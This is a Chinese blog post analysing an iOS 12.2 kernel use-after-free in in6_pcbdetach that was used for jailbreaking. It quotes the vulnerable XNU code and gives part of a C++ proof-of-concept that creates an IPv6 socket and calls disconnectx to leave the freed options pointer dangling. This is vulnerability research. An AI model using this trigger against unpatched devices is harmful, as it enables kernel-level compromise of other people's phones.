iOS12.2越狱漏洞分析

2019年8月1日00:08:24 发表评论

这是一个 UAF 的洞,是通过 tfp0 的方式来拿到内核代码执行的权限了,一般的利用方式我们都还是比较熟悉了,而且 UAF 的利用方式我们通常都是通过 ROP 的方式来提权,所以都要配合一个信息泄漏,所以这次的利用方式还是非常值得我们去学习的。通过代码结构来看应该是少不了 bazad 的帮助,通过他那个软件工程式的 exploit 就凸显了斯坦福博士的风格。不过整体都是 C++ 下的看的着实有点难受。

0x01 漏洞代码

void
in6_pcbdetach(struct inpcb *inp)
{
    // ...
  if (!(so->so_flags & SOF_PCBCLEARING)) {
    struct ip_moptions *imo;
    struct ip6_moptions *im6o;
    inp->inp_vflag = 0;
    if (inp->in6p_options != NULL) {
      m_freem(inp->in6p_options);
      inp->in6p_options = NULL; // <- good
    }
    ip6_freepcbopts(inp->in6p_outputopts); // <- bad
    ROUTE_RELEASE(&inp->in6p_route);
    // free IPv4 related resources in case of mapped addr
    if (inp->inp_options != NULL) {
      (void) m_free(inp->inp_options); // <- good
      inp->inp_options = NULL;
}


这里在进行资源释放的时候没有把 inp->in6p_outputopts 指向空,但是在 socket 断连再连接的时候就会造成 UAF 了,我看了一下 ip6_freepcbopts 这个函数,他将 in6p_outputopts 中的资源逐个释放并指向空,但很可惜忽略了他的上层。

我们的 poc 如下:


DanglingOptions::DanglingOptions() : dangling_(false) {
  s_ = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
  if (s_ < 0) {
    printf("failed to create socket!\n");
  }

  // 保证我们释放之后还可以进行setsockopt操作
  struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT,
                                   .npx_mask = SONPX_SETOPTSHUT};
  int res = setsockopt(s_, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
  if (res != 0) {
    printf("failed to enable setsockopt after disconnect!\n");
  }
  int minmtu = -1;
  
  SetMinmtu(&minmtu);
  FreeOptions();
}

bool DanglingOptions::FreeOptions() {
  if (dangling_) {
    return false;
  }
  dangling_ = true;
  //这个时候in6p_outputopts就已经被我们释放掉了
  int res = disconnectx(s_, 0, 0);
  return res == 0;
}

发表评论

后发表评论